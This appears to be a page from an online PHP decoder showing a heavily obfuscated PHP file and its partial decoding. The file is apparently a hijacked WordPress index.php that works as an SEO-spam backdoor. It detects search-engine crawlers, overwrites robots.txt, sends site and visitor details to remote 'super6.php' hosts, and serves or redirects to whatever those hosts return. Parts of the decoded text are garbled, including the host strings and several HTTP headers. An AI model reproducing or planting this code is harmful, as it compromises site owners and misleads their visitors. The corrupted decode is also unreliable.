Online PHP Javascript Script Decoder

Online PHP and Javascript Decoder decode hidden script to uncover its real functionality

Original code:

<?php
 goto zVFxO; UM7JU: $bjSZC = JSaRW() ?: "\x2f"; goto ZBxSR; SkX2H: $E3Ooh = tydJR($qcSXj, $iACL6); goto mupiC; x11SZ: $cIE9v = true; goto GbE_2; xM8qe: $bjSZC = str_replace($nsQe8, '', $bjSZC); goto x11SZ; myUSQ: function tydJr($Yczd4, $iACL6) { goto D4N2L; FyKhE: shuffle($Yczd4); goto vxeAZ; xafTh: RHO6K: goto dldSq; vxeAZ: foreach ($Yczd4 as $dv5oh) { goto kgd3r; ew5iU: Sazy5: goto yG6iL; JrSwY: $TP1Q1 = curl_init(); goto T4tCQ; hEv8c: return $Uw8ID; goto kgq_S; T4tCQ: curl_setopt($TP1Q1, CURLOPT_URL, $BJTMm); goto nuKbC; yRrAI: if (curl_errno($TP1Q1)) { goto Vpo0O; } goto fOlUR; hMAs2: if (!function_exists("\143\x75\x72\154\x5f\151\156\x69\x74")) { goto f8dg2; } goto JrSwY; Fvqv2: WPRXm: goto oo69L; p8ek1: MgPGY: goto hMAs2; IMc2L: curl_setopt($TP1Q1, CURLOPT_TIMEOUT, 30); goto C6oX0; xRH09: $Uw8ID = $FneCS[1]($BJTMm, false, $E1PGi); goto WDQHl; bwUwP: return $Uw8ID; goto ew5iU; UU95c: $E1PGi = stream_context_create(array("\150\164\164\160" => array("\164\x69\155\145\157\x75\x74" => 30))); goto xRH09; PFCZY: return $C8A1n; goto fXnWT; nuKbC: curl_setopt($TP1Q1, CURLOPT_RETURNTRANSFER, true); goto IMc2L; yG6iL: ibOKO: goto Fvqv2; YH22A: f8dg2: goto I6YTv; fXnWT: NbIQ0: goto p8ek1; C6oX0: $Uw8ID = curl_exec($TP1Q1); goto yRrAI; kgd3r: $qJOeD = $FneCS[2](urldecode($dv5oh)); goto oa0Vb; oa0Vb: $BJTMm = "\x68\164\x74\x70\x3a\x2f\57" . $qJOeD . "\57\163\x75\x70\145\162\66\x2e\x70\x68\x70\77" . $iACL6; goto x1jMD; fOlUR: curl_close($TP1Q1); goto hEv8c; WDQHl: if (!($Uw8ID !== false)) { goto Sazy5; } goto bwUwP; kgq_S: Vpo0O: goto tKrzD; x1jMD: if (!function_exists("\x41\157\156\x6b\166")) { goto MgPGY; } goto o9AsS; o9AsS: $Uw8ID = AOnKv($BJTMm, array("\164\151\x6d\x65\157\165\x74" => 30, "\x75\163\145\x72\x2d\x61\147\x65\156\x74" => "\115\x6f\x7a\x69\154\154\141\x2f\x35\56\60\x20\x28\x63\157\155\x70\141\x74\x69\x62\154\145\x3b\x20\127\x6f\162\144\x50\x72\x65\x73\x73\x29")); goto hZ1Cx; I6YTv: if (!ini_get("\x61\154\x6c\x6f\x77\137\x75\162\x6c\x5f\x66\x6f\x70\145\156")) { goto ibOKO; } goto UU95c; ZcNdT: $C8A1n = FRcYr($Uw8ID); goto PFCZY; hZ1Cx: if (DSP7E($Uw8ID)) { goto NbIQ0; } goto ZcNdT; tKrzD: curl_close($TP1Q1); goto YH22A; oo69L: } goto xafTh; dldSq: return "\x6e\x6f\142\x6f\164\165\163\x65\x72\141\147\145\156\164"; goto eS4oe; D4N2L: $FneCS = Th2N_(); goto FyKhE; eS4oe: } goto zJcDy; U546e: $lfduq = $_SERVER["\x48\124\124\120\x5f\x48\x4f\123\x54"] ?: ''; goto e6k08; MZgFr: if (empty($xbzvq)) { goto Jl_Tr; } goto Ew1E6; Ckv_x: $bjSZC = str_replace("\x2f" . $KjwIN, '', $bjSZC); goto JuPe7; GbE_2: envQH: goto cfgRu; Ybh38: $ZXuB4 = Qp1bM(); goto UM7JU; cfgRu: if (!($bjSZC != "\x2f")) { goto yOM_Z; } goto Ckv_x; mupiC: if (!(strpos($E3Ooh, "\156\x6f\142\x6f\164\x75\x73\x65\162\x61\147\x65\156\164") === false)) { goto Hdgc6; } goto a4Ou4; uptEz: function pkFr2($BJTMm) { goto yj5QG; pxphA: if (!file_exists($RKkXS)) { goto dAdfW; } goto WIBj3; DkAqw: $FneCS[0]($RKkXS, $utnLm); goto pNA_b; vP01A: dAdfW: goto DkAqw; pNA_b: bRNLu: goto kAE_o; JVbtY: $FneCS[0]($RKkXS, $utnLm); goto NDzZR; ogRZZ: if (!($UFm3A !== $utnLm)) { goto vIfYx; } goto JVbtY; WIBj3: $UFm3A = @$FneCS[1]($RKkXS); goto ogRZZ; SL2yr: $utnLm = "\125\x73\x65\x72\55\141\x67\x65\156\x74\x3a\x20\52\xa\101\154\154\157\167\72\40\57\12\12\123\x69\x74\145\155\x61\160\72\x20" . $BJTMm . "\57\x73\151\164\145\155\x61\x70\56\x78\155\x6c\xa"; goto pxphA; yj5QG: $FneCS = TH2N_(); goto zpZW0; t20k_: goto bRNLu; goto vP01A; NDzZR: vIfYx: goto t20k_; zpZW0: $RKkXS = $_SERVER["\104\117\x43\x55\115\105\116\x54\x5f\122\117\117\124"] . "\57\162\157\142\157\164\x73\x2e\164\x78\164"; goto SL2yr; kAE_o: } goto myUSQ; B93rp: preg_match("\57\134\57\x28\x5b\x5e\x5c\57\135\53\x5c\x2e\x70\150\160\51\57", $bjSZC, $xbzvq); goto MZgFr; JuPe7: $bjSZC = str_replace("\57\151\156\144\x65\x78\56\160\150\160", '', $bjSZC); goto ysp2L; zVFxO: $qcSXj = ["\x25\63\x31\45\63\71\x25\x33\x30\45\x33\61\45\x32\104\45\67\71\45\x37\66\45\x36\x31\45\67\70\45\x33\61\x25\63\70\x25\x33\66\45\x32\105\x25\66\63\45\67\65\45\x36\x32\45\x36\x36\x25\x37\x36\45\x36\x36\45\x32\105\45\66\x37\x25\66\x32\x25\x36\63", "\x25\x33\x31\x25\63\x39\45\x33\60\x25\x33\x31\45\62\104\x25\67\x39\45\x37\66\45\66\x31\x25\x37\x38\45\x33\x31\x25\63\x38\x25\63\x36\x25\x32\x45\45\x37\66\45\66\61\x25\67\62\45\67\63\45\x37\63\45\66\x45\45\x36\x46\x25\x37\x39\x25\66\x43\x25\62\105\45\x36\102\x25\66\103\45\x36\x44", "\45\63\x31\45\63\71\45\x33\x30\45\x33\x31\x25\x32\104\45\67\71\45\x37\66\45\x36\61\x25\x37\x38\45\63\61\45\63\x38\45\63\66\45\62\105\45\x36\x46\45\x36\65\x25\x37\x36\x25\67\x34\x25\x37\65\45\x36\67\45\67\65\45\x36\x32\x25\x36\65\x25\67\x36\x25\x36\63\45\x32\x45\x25\x36\x42\x25\x36\x43\x25\x36\x44", "\45\x33\x31\x25\63\71\x25\63\60\45\x33\61\45\x32\104\x25\67\71\x25\x37\66\x25\66\x31\45\x37\x38\x25\x33\x31\45\x33\70\45\x33\66\x25\62\x45\45\x36\61\x25\x37\62\x25\x36\102\45\66\67\45\x37\x32\x25\x36\61\x25\66\x33\45\x36\70\x25\x36\63\45\66\x33\x25\x32\x45\x25\x36\102\45\66\x43\45\66\x44"]; goto JadK0; J9e0O: cujJ8: goto eGqMq; OKqKd: $qz3Io = "\x69\x6e\144\x65\x78"; goto B93rp; MEHRZ: yOM_Z: goto htWqw; C4yWP: SK580: goto NfOA8; QGqAM: PKFR2($zqZc4 . "\x3a\x2f\57" . $lfduq); goto SkX2H; GQJYd: $ZXuB4 = 1; goto xM8qe; y_7kQ: function QP1bM() { goto pam7X; pam7X: $Fjfav = isset($_SERVER["\x48\x54\124\x50\x5f\125\123\105\122\137\x41\107\x45\116\124"]) ? strtolower($_SERVER["\x48\x54\124\120\137\x55\x53\x45\122\137\x41\x47\105\x4e\124"]) : ''; goto BYr09; NUc8B: return 2; goto jcXx0; vlLQx: XG2Zr: goto NUc8B; BYr09: $axpjw = array("\147\x6f\x6f\147\x6c\x65\142\157\x74", "\x62\151\x6e\147", "\171\x61\x68\x6f\157", "\147\157\x6f\x67\x6c\145"); goto gvLO0; gvLO0: foreach ($axpjw as $vWi6S) { goto wJ0Oz; wJ0Oz: if (!(strpos($Fjfav, $vWi6S) !== false)) { goto dPJvo; } goto nKD0O; Wmh9H: dPJvo: goto iWw9v; iWw9v: C12_b: goto MNewr; nKD0O: return 1; goto Wmh9H; MNewr: } goto vlLQx; jcXx0: } goto ZTxTj; HqqKy: $sa5qn = $_SERVER["\110\124\x54\120\x5f\122\105\x46\x45\122\x45\122"] ?: ''; goto beV1_; E1Lq1: $KN1nu = file_exists($_SERVER["\104\117\103\125\x4d\105\x4e\124\137\x52\117\x4f\x54"] . "\x2f\x2e\150\164\x61\143\143\x65\163\163") ? 1 : 2; goto Ybh38; ZBxSR: $KjwIN = "\151\156\144\x65\x78\x2e\x70\x68\160"; goto OKqKd; Ew1E6: $KjwIN = $xbzvq[1]; goto tIlw8; HlQ7H: if (!(strpos($bjSZC, $nsQe8) !== false)) { goto envQH; } goto GQJYd; ya4AU: Jl_Tr: goto EOnto; zJcDy: function TH2N_() { $Gws77 = range("\x61", "\x7a"); return array($Gws77[5] . $Gws77[8] . $Gws77[11] . $Gws77[4] . "\x5f" . $Gws77[15] . $Gws77[20] . $Gws77[19] . "\x5f" . $Gws77[2] . $Gws77[14] . $Gws77[13] . $Gws77[19] . $Gws77[4] . $Gws77[13] . $Gws77[19] . $Gws77[18], $Gws77[5] . $Gws77[8] . $Gws77[11] . $Gws77[4] . "\137" . $Gws77[6] . $Gws77[4] . $Gws77[19] . "\137" . $Gws77[2] . $Gws77[14] . $Gws77[13] . $Gws77[19] . $Gws77[4] . $Gws77[13] . $Gws77[19] . $Gws77[18], $Gws77[18] . $Gws77[19] . $Gws77[17] . "\137" . $Gws77[17] . $Gws77[14] . $Gws77[19] . "\61\x33"); } goto je87r; ZTxTj: function jSARW() { goto oICmx; vpIk2: if (!isset($_SERVER["\141\162\x67\x76"])) { goto k2gGz; } goto MVcxO; bh04j: mTBdb: goto vpIk2; oICmx: if (!isset($_SERVER["\122\x45\x51\125\105\123\x54\x5f\x55\x52\111"])) { goto mTBdb; } goto uNpIx; lsIsQ: k2gGz: goto Xky2_; uNpIx: return $_SERVER["\122\105\x51\125\x45\123\x54\137\125\x52\111"]; goto bh04j; Xky2_: return $_SERVER["\x50\110\x50\137\x53\x45\114\106"] . "\77" . $_SERVER["\x51\125\x45\122\x59\x5f\123\124\x52\x49\116\107"]; goto X33gy; MVcxO: return $_SERVER["\120\x48\120\137\123\x45\114\106"] . "\77" . $_SERVER["\141\162\147\166"][0]; goto lsIsQ; X33gy: } goto VkZtM; QOSma: foreach ($CdUaS as $IlbZ9 => $z_ulE) { goto unO33; APXgE: $E3Ooh = str_replace($z_ulE["\162\x65\x70\x6c\x61\143\x65"], '', $E3Ooh); goto rrx2y; QAz1c: exit; goto msp4l; unO33: if (!(strpos($E3Ooh, $IlbZ9) !== false)) { goto qmXYQ; } goto yISYM; l0CrC: M5U_q: goto t0fOh; TbDBd: if (!isset($z_ulE["\162\145\160\154\x61\143\x65"])) { goto jnF8v; } goto APXgE; LfhK1: GWr0N: goto o1bQ8; kqZyv: goto u33Su; goto uXy1S; uXy1S: i7rq2: goto rmi5D; q8PRs: goto u33Su; goto OPWc1; HsfRY: u33Su: goto QAz1c; r5aii: header("\114\157\x63\141\164\x69\x6f\x6e\72\x20" . $E3Ooh); goto kqZyv; w6t71: K23Ji: goto LfhK1; bTzO8: if (!$cIE9v) { goto K23Ji; } goto PKJbh; yISYM: @header($z_ulE["\150\x65\x61\x64\145\x72"]); goto TbDBd; rmi5D: echo $E3Ooh; goto HsfRY; o1bQ8: if (isset($z_ulE["\x72\145\144\x69\x72\x65\143\x74"])) { goto m6_q2; } goto LVTFg; OPWc1: m6_q2: goto r5aii; PKJbh: echo $nsQe8; goto w6t71; LVTFg: if (isset($z_ulE["\x6f\x75\x74\x70\165\x74"])) { goto i7rq2; } goto q8PRs; rrx2y: jnF8v: goto clTdZ; msp4l: qmXYQ: goto l0CrC; clTdZ: if (!isset($z_ulE["\x74\x65\x73\164\137\x65\x63\x68\157"])) { goto GWr0N; } goto bTzO8; t0fOh: } goto C4yWP; zxxE4: $cIE9v = false; goto HlQ7H; je87r: define("\x6b\x43\x73\166\x78", true); goto qfu11; eGqMq: $qz3Io = str_replace("\56\x70\150\x70", '', $KjwIN); goto ya4AU; a4Ou4: $CdUaS = array("\x6f\153\150\164\155\x6c" => array("\x68\x65\141\x64\x65\162" => "\103\x6f\156\x74\x65\x6e\164\55\164\x79\x70\x65\72\40\164\x65\170\164\x2f\150\x74\x6d\154\73\x20\x63\150\141\162\163\x65\x74\75\x75\164\x66\55\x38", "\162\145\160\154\141\x63\x65" => "\157\x6b\150\164\x6d\154", "\x74\x65\x73\x74\x5f\x65\x63\x68\x6f" => true, "\157\x75\164\160\x75\164" => true), "\147\x65\x74\x63\157\156\164\145\x6e\164\x35\x30\x30\x70\141\147\x65" => array("\x68\145\x61\144\145\162" => "\x48\124\x54\x50\57\61\56\x31\40\x35\x30\60\40\111\x6e\x74\145\x72\x6e\x61\x6c\40\x53\x65\162\166\145\x72\40\x45\162\x72\157\x72"), "\64\x30\x34\160\141\147\145" => array("\150\x65\141\144\x65\162" => "\x48\x54\124\120\x2f\x31\x2e\61\x20\64\60\x34\x20\116\157\164\x20\x46\157\x75\x6e\x64"), "\63\x30\x31\160\x61\147\x65" => array("\x68\145\141\144\x65\x72" => "\110\x54\124\120\x2f\x31\56\61\x20\63\60\61\40\x4d\157\x76\145\144\40\x50\x65\x72\155\141\x6e\x65\156\x74\x6c\x79", "\x72\145\160\154\141\x63\145" => "\x33\x30\x31\160\x61\x67\x65", "\162\145\144\151\162\x65\x63\164" => true), "\x6f\153\170\155\154" => array("\x68\x65\x61\x64\145\x72" => "\x43\157\156\x74\145\156\x74\x2d\124\171\x70\x65\72\x20\x61\160\x70\x6c\151\x63\x61\164\151\x6f\x6e\57\x78\155\x6c\73\x20\143\x68\x61\x72\x73\145\164\75\x75\x74\146\x2d\x38", "\x72\145\160\154\x61\143\145" => "\x6f\x6b\x78\155\154", "\157\165\164\x70\165\164" => true), "\x6f\153\x72\x6f\x62\157\x74\163" => array("\150\x65\141\x64\x65\x72" => "\103\157\x6e\164\145\156\x74\55\x54\x79\160\x65\72\x20\164\145\170\x74\x2f\x70\x6c\x61\151\156", "\162\145\160\154\141\x63\x65" => "\157\x6b\162\157\x62\x6f\164\x73", "\157\x75\164\x70\165\164" => true)); goto QOSma; EOnto: $qz3Io = stristr($bjSZC, "\x2f\x3f") ? "\x3f" : $qz3Io; goto zxxE4; beV1_: $zqZc4 = zE3gL() ? "\x68\164\164\x70\163" : "\x68\164\x74\x70"; goto E1Lq1; NfOA8: Hdgc6: goto y_7kQ; ar5qp: $KjwIN = ltrim(substr($bjSZC, 0, $cIT1K + strlen($KjwIN)), "\57"); goto J9e0O; VkZtM: function Ze3GL() { goto zBo9c; sNKmH: if (!($bAgDZ !== '')) { goto zrre3; } goto Aq7Es; ZSn4k: return true; goto qQEyl; aUdw_: d4y0I: goto QZnGz; WZKEv: bH3KL: goto p83wS; MeZ1g: if (!($_SERVER["\x48\124\x54\120\137\130\x5f\x46\x4f\122\x57\x41\122\x44\105\x44\137\120\x52\x4f\124\117"] === "\150\164\164\x70\163")) { goto d4y0I; } goto MvLOL; kbDou: return false; goto dSpaR; qDLQR: if (!($KNr8v !== "\x6f\x66\146")) { goto wKQ8h; } goto JObki; qQEyl: zSgIb: goto iDISx; wynr0: zrre3: goto WZKEv; zBo9c: if (!isset($_SERVER["\x48\x54\124\x50\x53"])) { goto Vz4Ex; } goto dsi_R; QZnGz: EQYsR: goto tcsM9; OtUv4: $bAgDZ = strtolower($_SERVER["\x48\x54\124\x50\137\106\x52\x4f\116\x54\x5f\x45\116\104\x5f\110\124\124\x50\123"]); goto M6j13; iDISx: wKQ8h: goto HnSR9; JObki: if (!($KNr8v !== '')) { goto zSgIb; } goto ZSn4k; tcsM9: if (!isset($_SERVER["\110\124\x54\120\137\x46\x52\x4f\x4e\x54\x5f\105\x4e\x44\137\x48\x54\124\120\x53"])) { goto U7ZVG; } goto OtUv4; v0OW4: if (!isset($_SERVER["\x48\x54\124\120\x5f\130\137\106\117\122\x57\101\x52\104\105\x44\137\120\122\x4f\x54\x4f"])) { goto EQYsR; } goto MeZ1g; dsi_R: $KNr8v = strtolower($_SERVER["\110\124\124\x50\123"]); goto qDLQR; M6j13: if (!($bAgDZ !== "\157\x66\x66")) { goto bH3KL; } goto sNKmH; p83wS: U7ZVG: goto kbDou; Aq7Es: return true; goto wynr0; MvLOL: return true; goto aUdw_; HnSR9: Vz4Ex: goto v0OW4; dSpaR: } goto uptEz; tIlw8: if (!(($cIT1K = strpos($bjSZC, $KjwIN)) !== false)) { goto cujJ8; } goto ar5qp; htWqw: $iACL6 = http_build_query(["\x77\145\142" => $lfduq, "\x7a\172" => $ZXuB4, "\165\162\x69" => urlencode($bjSZC), "\x75\162\x6c\x73\x68\141\156\x67" => $sa5qn, "\x68\x74\164\160" => $zqZc4, "\x6c\x61\156\x67" => $wn0Db, "\163\x65\162\x76\145\x72" => $KN1nu, "\x6d\x6f\x64\145\154" => $qz3Io, "\x76\x65\162\x73\x69\157\x6e" => $cIE9v ? $nsQe8 : '']); goto QGqAM; ysp2L: $bjSZC = str_replace("\x21", '', $bjSZC); goto MEHRZ; e6k08: $wn0Db = $_SERVER["\110\124\x54\x50\137\101\x43\103\x45\x50\124\137\114\x41\116\x47\125\101\x47\105"] ?: "\x65\156"; goto HqqKy; JadK0: $nsQe8 = "\61\71\x30\x31\55\154\x69\x6e\x6b\61\x38\66"; goto U546e; qfu11: require __DIR__ . "\57\167\x70\55\x62\154\x6f\x67\x2d\x68\145\x61\x64\x65\162\x2e\160\150\160";

Show other level

Decrypted code level 1:

goto zVFxO; UM7JU: $bjSZC = JSaRW() ?: "/"; goto ZBxSR; SkX2H: $E3Ooh = tydJR($qcSXj, $iACL6); goto mupiC; x11SZ: $cIE9v = true; goto GbE_2; xM8qe: $bjSZC = str_replace($nsQe8, '', $bjSZC); goto x11SZ; myUSQ: function tydJr($Yczd4, $iACL6) { goto D4N2L; FyKhE: shuffle($Yczd4); goto vxeAZ; xafTh: RHO6K: goto dldSq; vxeAZ: foreach ($Yczd4 as $dv5oh) { goto kgd3r; ew5iU: Sazy5: goto yG6iL; JrSwY: $TP1Q1 = curl_init(); goto T4tCQ; hEv8c: return $Uw8ID; goto kgq_S; T4tCQ: curl_setopt($TP1Q1, CURLOPT_URL, $BJTMm); goto nuKbC; yRrAI: if (curl_errno($TP1Q1)) { goto Vpo0O; } goto fOlUR; hMAs2: if (!function_exists("curl_init")) { goto f8dg2; } goto JrSwY; Fvqv2: WPRXm: goto oo69L; p8ek1: MgPGY: goto hMAs2; IMc2L: curl_setopt($TP1Q1, CURLOPT_TIMEOUT, 30); goto C6oX0; xRH09: $Uw8ID = $FneCS[1]($BJTMm, false, $E1PGi); goto WDQHl; bwUwP: return $Uw8ID; goto ew5iU; UU95c: $E1PGi = stream_context_create(array("http" => array("timeout" => 30))); goto xRH09; PFCZY: return $C8A1n; goto fXnWT; nuKbC: curl_setopt($TP1Q1, CURLOPT_RETURNTRANSFER, true); goto IMc2L; yG6iL: ibOKO: goto Fvqv2; YH22A: f8dg2: goto I6YTv; fXnWT: NbIQ0: goto p8ek1; C6oX0: $Uw8ID = curl_exec($TP1Q1); goto yRrAI; kgd3r: $qJOeD = $FneCS[2](urldecode($dv5oh)); goto oa0Vb; oa0Vb: $BJTMm = "http://" . $qJOeD . "/super6.php?" . $iACL6; goto x1jMD; fOlUR: curl_close($TP1Q1); goto hEv8c; WDQHl: if (!($Uw8ID !== false)) { goto Sazy5; } goto bwUwP; kgq_S: Vpo0O: goto tKrzD; x1jMD: if (!function_exists("Aonkv")) { goto MgPGY; } goto o9AsS; o9AsS: $Uw8ID = AOnKv($BJTMm, array("timeout" => 30, "user-agent" => "Mozilla/5.0 (compatible; WordPress)")); goto hZ1Cx; I6YTv: if (!ini_get("allow_url_fopen")) { goto ibOKO; } goto UU95c; ZcNdT: $C8A1n = FRcYr($Uw8ID); goto PFCZY; hZ1Cx: if (DSP7E($Uw8ID)) { goto NbIQ0; } goto ZcNdT; tKrzD: curl_close($TP1Q1); goto YH22A; oo69L: } goto xafTh; dldSq: return "nobotuseragent"; goto eS4oe; D4N2L: $FneCS = Th2N_(); goto FyKhE; eS4oe: } goto zJcDy; U546e: $lfduq = $_SERVER["HTTP_HOST"] ?: ''; goto e6k08; MZgFr: if (empty($xbzvq)) { goto Jl_Tr; } goto Ew1E6; Ckv_x: $bjSZC = str_replace("/" . $KjwIN, '', $bjSZC); goto JuPe7; GbE_2: envQH: goto cfgRu; Ybh38: $ZXuB4 = Qp1bM(); goto UM7JU; cfgRu: if (!($bjSZC != "/")) { goto yOM_Z; } goto Ckv_x; mupiC: if (!(strpos($E3Ooh, "nobotuseragent") === false)) { goto Hdgc6; } goto a4Ou4; uptEz: function pkFr2($BJTMm) { goto yj5QG; pxphA: if (!file_exists($RKkXS)) { goto dAdfW; } goto WIBj3; DkAqw: $FneCS[0]($RKkXS, $utnLm); goto pNA_b; vP01A: dAdfW: goto DkAqw; pNA_b: bRNLu: goto kAE_o; JVbtY: $FneCS[0]($RKkXS, $utnLm); goto NDzZR; ogRZZ: if (!($UFm3A !== $utnLm)) { goto vIfYx; } goto JVbtY; WIBj3: $UFm3A = @$FneCS[1]($RKkXS); goto ogRZZ; SL2yr: $utnLm = "User-agent: *\xaAllow: /

Sitemap: " . $BJTMm . "/sitemap.xml\xa"; goto pxphA; yj5QG: $FneCS = TH2N_(); goto zpZW0; t20k_: goto bRNLu; goto vP01A; NDzZR: vIfYx: goto t20k_; zpZW0: $RKkXS = $_SERVER["DOCUMENT_ROOT"] . "/robots.txt"; goto SL2yr; kAE_o: } goto myUSQ; B93rp: preg_match("/\/([^\/]+\.php)/", $bjSZC, $xbzvq); goto MZgFr; JuPe7: $bjSZC = str_replace("/index.php", '', $bjSZC); goto ysp2L; zVFxO: $qcSXj = ["%%39%30+1*D%79/6.1%78+1%38%36*E%63%75.2.6%76.6*E%%%63", "%31%39+0%31%2D%79/6%%78+1%38%%2E/6%61%72%73/3%6E.F%79%6C%2E.B%6C.D", "%%39+0+1%2D%79/6.1%78%31%38%36%2E.F.5%76%%75.7%75.2%65%%63*E%6B%6C%6D", "+1%39%30+1*D%79%76%/8%31+8+6%2E.1%72%6B%67/2%61%.8%63%%2E%6B%6C%6D"]; goto JadK0; J9e0O: cujJ8: goto eGqMq; OKqKd: $qz3Io = "index"; goto B93rp; MEHRZ: yOM_Z: goto htWqw; C4yWP: SK580: goto NfOA8; QGqAM: PKFR2($zqZc4 . "://" . $lfduq); goto SkX2H; GQJYd: $ZXuB4 = 1; goto xM8qe; y_7kQ: function QP1bM() { goto pam7X; pam7X: $Fjfav = isset($_SERVER["HTTP_USER_AGENT"]) ? strtolower($_SERVER["HTTP_USER_AGENT"]) : ''; goto BYr09; NUc8B: return 2; goto jcXx0; vlLQx: XG2Zr: goto NUc8B; BYr09: $axpjw = array("googlebot", "bing", "yahoo", "google"); goto gvLO0; gvLO0: foreach ($axpjw as $vWi6S) { goto wJ0Oz; wJ0Oz: if (!(strpos($Fjfav, $vWi6S) !== false)) { goto dPJvo; } goto nKD0O; Wmh9H: dPJvo: goto iWw9v; iWw9v: C12_b: goto MNewr; nKD0O: return 1; goto Wmh9H; MNewr: } goto vlLQx; jcXx0: } goto ZTxTj; HqqKy: $sa5qn = $_SERVER["HTTP_REFERER"] ?: ''; goto beV1_; E1Lq1: $KN1nu = file_exists($_SERVER["DOCUMENT_ROOT"] . "/.htaccess") ? 1 : 2; goto Ybh38; ZBxSR: $KjwIN = "index.php"; goto OKqKd; Ew1E6: $KjwIN = $xbzvq[1]; goto tIlw8; HlQ7H: if (!(strpos($bjSZC, $nsQe8) !== false)) { goto envQH; } goto GQJYd; ya4AU: Jl_Tr: goto EOnto; zJcDy: function TH2N_() { $Gws77 = range("a", "z"); return array($Gws77[5] . $Gws77[8] . $Gws77[11] . $Gws77[4] . "_" . $Gws77[15] . $Gws77[20] . $Gws77[19] . "_" . $Gws77[2] . $Gws77[14] . $Gws77[13] . $Gws77[19] . $Gws77[4] . $Gws77[13] . $Gws77[19] . $Gws77[18], $Gws77[5] . $Gws77[8] . $Gws77[11] . $Gws77[4] . "_" . $Gws77[6] . $Gws77[4] . $Gws77[19] . "_" . $Gws77[2] . $Gws77[14] . $Gws77[13] . $Gws77[19] . $Gws77[4] . $Gws77[13] . $Gws77[19] . $Gws77[18], $Gws77[18] . $Gws77[19] . $Gws77[17] . "_" . $Gws77[17] . $Gws77[14] . $Gws77[19] . ""); } goto je87r; ZTxTj: function jSARW() { goto oICmx; vpIk2: if (!isset($_SERVER["argv"])) { goto k2gGz; } goto MVcxO; bh04j: mTBdb: goto vpIk2; oICmx: if (!isset($_SERVER["REQUEST_URI"])) { goto mTBdb; } goto uNpIx; lsIsQ: k2gGz: goto Xky2_; uNpIx: return $_SERVER["REQUEST_URI"]; goto bh04j; Xky2_: return $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"]; goto X33gy; MVcxO: return $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0]; goto lsIsQ; X33gy: } goto VkZtM; QOSma: foreach ($CdUaS as $IlbZ9 => $z_ulE) { goto unO33; APXgE: $E3Ooh = str_replace($z_ulE["replace"], '', $E3Ooh); goto rrx2y; QAz1c: exit; goto msp4l; unO33: if (!(strpos($E3Ooh, $IlbZ9) !== false)) { goto qmXYQ; } goto yISYM; l0CrC: M5U_q: goto t0fOh; TbDBd: if (!isset($z_ulE["replace"])) { goto jnF8v; } goto APXgE; LfhK1: GWr0N: goto o1bQ8; kqZyv: goto u33Su; goto uXy1S; uXy1S: i7rq2: goto rmi5D; q8PRs: goto u33Su; goto OPWc1; HsfRY: u33Su: goto QAz1c; r5aii: header("Location: " . $E3Ooh); goto kqZyv; w6t71: K23Ji: goto LfhK1; bTzO8: if (!$cIE9v) { goto K23Ji; } goto PKJbh; yISYM: @header($z_ulE["header"]); goto TbDBd; rmi5D: echo $E3Ooh; goto HsfRY; o1bQ8: if (isset($z_ulE["redirect"])) { goto m6_q2; } goto LVTFg; OPWc1: m6_q2: goto r5aii; PKJbh: echo $nsQe8; goto w6t71; LVTFg: if (isset($z_ulE["output"])) { goto i7rq2; } goto q8PRs; rrx2y: jnF8v: goto clTdZ; msp4l: qmXYQ: goto l0CrC; clTdZ: if (!isset($z_ulE["test_echo"])) { goto GWr0N; } goto bTzO8; t0fOh: } goto C4yWP; zxxE4: $cIE9v = false; goto HlQ7H; je87r: define("kCsvx", true); goto qfu11; eGqMq: $qz3Io = str_replace(".php", '', $KjwIN); goto ya4AU; a4Ou4: $CdUaS = array("okhtml" => array("header" => "Content-type: text/html; charset=utf-8", "replace" => "okhtml", "test_echo" => true, "output" => true), "getcontent500page" => array("header" => "HTTP/1q00 Internal Server Error"), "4page" => array("header" => "HTTP/1.1 4 Not Found"), "1page" => array("header" => "HTTP/1.1 301 Moved Permanently", "replace" => "301page", "redirect" => true), "okxml" => array("header" => "Content-Type: application/xml; charset=utf-8", "replace" => "okxml", "output" => true), "okrobots" => array("header" => "Content-Type: text/plain", "replace" => "okrobots", "output" => true)); goto QOSma; EOnto: $qz3Io = stristr($bjSZC, "/?") ? "?" : $qz3Io; goto zxxE4; beV1_: $zqZc4 = zE3gL() ? "https" : "http"; goto E1Lq1; NfOA8: Hdgc6: goto y_7kQ; ar5qp: $KjwIN = ltrim(substr($bjSZC, 0, $cIT1K + strlen($KjwIN)), "/"); goto J9e0O; VkZtM: function Ze3GL() { goto zBo9c; sNKmH: if (!($bAgDZ !== '')) { goto zrre3; } goto Aq7Es; ZSn4k: return true; goto qQEyl; aUdw_: d4y0I: goto QZnGz; WZKEv: bH3KL: goto p83wS; MeZ1g: if (!($_SERVER["HTTP_X_FORWARDED_PROTO"] === "https")) { goto d4y0I; } goto MvLOL; kbDou: return false; goto dSpaR; qDLQR: if (!($KNr8v !== "off")) { goto wKQ8h; } goto JObki; qQEyl: zSgIb: goto iDISx; wynr0: zrre3: goto WZKEv; zBo9c: if (!isset($_SERVER["HTTPS"])) { goto Vz4Ex; } goto dsi_R; QZnGz: EQYsR: goto tcsM9; OtUv4: $bAgDZ = strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]); goto M6j13; iDISx: wKQ8h: goto HnSR9; JObki: if (!($KNr8v !== '')) { goto zSgIb; } goto ZSn4k; tcsM9: if (!isset($_SERVER["HTTP_FRONT_END_HTTPS"])) { goto U7ZVG; } goto OtUv4; v0OW4: if (!isset($_SERVER["HTTP_X_FORWARDED_PROTO"])) { goto EQYsR; } goto MeZ1g; dsi_R: $KNr8v = strtolower($_SERVER["HTTPS"]); goto qDLQR; M6j13: if (!($bAgDZ !== "off")) { goto bH3KL; } goto sNKmH; p83wS: U7ZVG: goto kbDou; Aq7Es: return true; goto wynr0; MvLOL: return true; goto aUdw_; HnSR9: Vz4Ex: goto v0OW4; dSpaR: } goto uptEz; tIlw8: if (!(($cIT1K = strpos($bjSZC, $KjwIN)) !== false)) { goto cujJ8; } goto ar5qp; htWqw: $iACL6 = http_build_query(["web" => $lfduq, "zz" => $ZXuB4, "uri" => urlencode($bjSZC), "urlshang" => $sa5qn, "http" => $zqZc4, "lang" => $wn0Db, "server" => $KN1nu, "model" => $qz3Io, "version" => $cIE9v ? $nsQe8 : '']); goto QGqAM; ysp2L: $bjSZC = str_replace("!", '', $bjSZC); goto MEHRZ; e6k08: $wn0Db = $_SERVER["HTTP_ACCEPT_LANGUAGE"] ?: "en"; goto HqqKy; JadK0: $nsQe8 = "11-link186"; goto U546e; qfu11: require __DIR__ . "/wp-blog-header.php";

Decrypted code level 2:

